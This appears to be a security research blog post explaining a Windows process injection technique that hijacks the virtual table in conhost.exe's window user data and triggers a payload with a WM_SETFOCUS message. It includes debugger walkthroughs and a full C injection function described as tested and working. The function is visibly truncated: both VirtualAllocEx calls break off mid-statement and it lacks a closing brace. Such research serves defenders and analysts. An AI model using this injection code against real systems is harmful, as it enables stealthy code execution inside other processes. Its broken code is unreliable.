Windows Process Injection: ConsoleWindowClass


Every window object has support for User Data that can be set via the SetWindowLongPtr API and GWLP_USERDATA parameter. The User Data of a window is simply a small amount of memory that is normally used for storing a pointer to a class object. In the case of the Console Window Host (conhost) process, it stores the address of a data structure. Contained within the structure is information about the window’s current position on the desktop, its dimensions, an object handle, and of course a class object with methods to control the behaviour of the console window.

The user data in conhost.exe is stored on the heap with writeable permissions. This makes it possible to use for process injection and is very similar to the Extra Bytes method I discussed before.


In figure 1, we see the properties of a window object used by a console application. Note how the Window Proc field is empty. The User Data field points to a virtual address, but it does not reside within the console application itself. Rather, the user data structure is in the conhost.exe process spawned by the system when the console application started.

Figure 1 : Virtual address of data structure.

Figure 2 shows the class information of the window and highlighted is the address of a callback procedure responsible for processing window messages.

Figure 2 : Window Procedure to process messages from the operating system.

Debugging conhost.exe

Figure 3 shows a debugger attached to the console host and a dump of the user data value 0x000001CB3836F580. The first 64-bit value points to a virtual table of methods (array of functions).

Figure 3 : User data address.

Figure 4 shows the list of methods stored in the virtual table.

Figure 4 : Virtual table functions.

Before overwriting anything, we need to determine how to trigger execution of these methods from an external application. Setting a “break on access” (ba) for the virtual table, and sending messages to the window should reveal what’s acceptable. Figure 5 shows a breakpoint triggered after sending the WM_SETFOCUS message.

Figure 5 : Break on access of virtual table

Now that we know how to trigger execution, we just need to hijack a method. In this case, GetWindowHandle is called first when processing the WM_SETFOCUS message. Figure 6 show this method does not require any parameters and simply returns a window handle from the user data.

Figure 6 : GetWindowHandle method

The virtual table

The following structure defines the virtual table used by conhost to control the behaviour of the console window. There’s no need to define prototypes for each method unless we intended to use something other than GetWindowHandle which doesn’t take any parameters.

typedef struct _vftable_t {
    ULONG_PTR     EnableBothScrollBars;
    ULONG_PTR     UpdateScrollBar;
    ULONG_PTR     IsInFullscreen;
    ULONG_PTR     SetIsFullscreen;
    ULONG_PTR     SetViewportOrigin;
    ULONG_PTR     SetWindowHasMoved;
    ULONG_PTR     CaptureMouse;
    ULONG_PTR     ReleaseMouse;
    ULONG_PTR     GetWindowHandle;
    ULONG_PTR     SetOwner;
    ULONG_PTR     GetCursorPosition;
    ULONG_PTR     GetClientRectangle;
    ULONG_PTR     MapPoints;
    ULONG_PTR     ConvertScreenToClient;
    ULONG_PTR     SendNotifyBeep;
    ULONG_PTR     PostUpdateScrollBars;
    ULONG_PTR     PostUpdateTitleWithCopy;
    ULONG_PTR     PostUpdateWindowSize;
    ULONG_PTR     UpdateWindowSize;
    ULONG_PTR     UpdateWindowText;
    ULONG_PTR     HorizontalScroll;
    ULONG_PTR     VerticalScroll;
    ULONG_PTR     SignalUia;
    ULONG_PTR     UiaSetTextAreaFocus;
    ULONG_PTR     GetWindowRect;
} ConsoleWindow;

User Data Structure

Figure 7 shows the total size of the user data structure is 104 bytes. Since the allocation has PAGE_READWRITE protection by default, one can simply overwrite the pointer to the virtual table with a duplicate that contains the address of a payload.

Figure 7 : Allocation of data structure.

Full function

This function demonstrates how to replace the virtual table with a duplicate before triggering execution of some code. Tested and working on a 64-bit version of Windows 10.

VOID conhostInject(LPVOID payload, DWORD payloadSize) {
    HWND          hwnd;
    LONG_PTR      udptr;
    DWORD         pid, ppid;
    SIZE_T        wr;
    HANDLE        hp;
    ConsoleWindow cw;
    LPVOID        cs, ds;
    ULONG_PTR     vTable;
    // 1. Obtain handle and process id for a console window 
    //   (this assumes one already running)
    hwnd = FindWindow(L"ConsoleWindowClass", NULL);
    GetWindowThreadProcessId(hwnd, &ppid);

    // 2. Obtain the process id for the host process 
    pid = conhostId(ppid);
    // 3. Open the conhost.exe process
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    // 4. Allocate RWX memory and copy the payload there
    cs = VirtualAllocEx(hp, NULL, payloadSize, 
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
    // 5. Read the address of current virtual table
    udptr = GetWindowLongPtr(hwnd, GWLP_USERDATA);
    ReadProcessMemory(hp, (LPVOID)udptr, 
        (LPVOID)&vTable, sizeof(ULONG_PTR), &wr);
    // 6. Read the current virtual table into local memory
    ReadProcessMemory(hp, (LPVOID)vTable, 
      (LPVOID)&cw, sizeof(ConsoleWindow), &wr);
    // 7. Allocate RW memory for the new virtual table
    ds = VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow), 
    // 8. update the local copy of virtual table with 
    //    address of payload and write to remote process
    cw.GetWindowHandle = (ULONG_PTR)cs;
    WriteProcessMemory(hp, ds, &cw, sizeof(ConsoleWindow), &wr); 

    // 9. Update pointer to virtual table in remote process
    WriteProcessMemory(hp, (LPVOID)udptr, &ds, 
      sizeof(ULONG_PTR), &wr); 

    // 10. Trigger execution of the payload
    SendMessage(hwnd, WM_SETFOCUS, 0, 0);

    // 11. Restore pointer to original virtual table
    WriteProcessMemory(hp, (LPVOID)udptr, &vTable, 
      sizeof(ULONG_PTR), &wr);
    // 12. Release memory and close handles
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);


This is another variation of a “Shatter” attack where window messages and callback functions are misused to execute code without creating a new thread. The approach shown here is limited to console windows or more specifically the “ConsoleWindowClass” object. However, other applications also use GWLP_USERDATA to store a pointer to a class object. A PoC can be found here.

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